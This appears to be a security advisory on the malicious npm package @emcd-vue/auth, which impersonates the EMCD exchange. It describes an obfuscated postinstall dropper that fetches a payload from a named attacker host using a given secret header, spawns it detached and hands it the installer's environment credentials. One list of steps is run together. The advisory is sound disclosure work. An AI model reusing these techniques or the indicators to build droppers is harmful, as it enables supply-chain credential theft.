Malicious code in @emcd-vue/auth (npm)
Part of a coordinated multi-package supply-chain attack impersonating EMCD (emcd.io), a legitimate Russian cryptocurrency exchange and mining pool. The attacker registered the @emcd-vue npm scope to pose as an internal Vue.js front-end tooling package from "EMCD Platform Engineering." The package contains no functional library code — the entire package is a delivery vehicle for a multi-stage dropper embedded in a 137.5 KB single-line obfuscated postinstall hook (JScrambler/WaCk-style; 811-element encoded string array).
Trigger: scripts.postinstall → scripts/postinstall.js
Execution flow:
EMCD_VUE_NO_TELEMETRY env var as a kill-switch (README misleadingly documents a different, non-functional kill-switch name)linux-x64, darwin-arm64, win)GET https://oob.moika.tech/payload/{platform} with X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1~/.emcd-vue_init.js (dot-prefixed hidden file)https://oob.moika.tech/report-= Per source details. Do not edit below this line.=-
@emcd-vue/auth@6.4.5 is a hollow shell package whose only functional content is a malicious postinstall script. package.json advertises this as an 'Internal @wildberries/service-router package' (a dependency-confusion lure targeting builds that expect an internal @wildberries/* mirror), but dist/index.js is a one-line re-export module.exports = require('../src/index.js') pointing at a path that does not exist in the tarball — the package provides no library functionality. scripts/postinstall.js is heavily obfuscated using an obfuscator.io-style shuffled string array with RC4 + base64 decoders and hex-encoded property accesses; critical strings (host, URL path, secret header) are assembled only at runtime via atob(...)+atob(...) concatenation to evade static inspection. On npm install the script issues an HTTPS GET with a custom X-Secret header to the runtime-assembled URL, writes the response buffer to a randomly-named.js file under os.tmpdir(), and spawns it with process.execPath (Node) detached, stdio:'ignore', windowsHide:true, then .unref()s the child so it survives the installer. Host-identifying data is exfiltrated as part of the fetch (hostname-keyed string selection via os.hostname(), CWD walk-up via process.cwd(), Node version check), and the spawned child receives the installer's full process.env plus additional atob-decoded secret values, handing any environment-resident credentials to the attacker-controlled payload.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준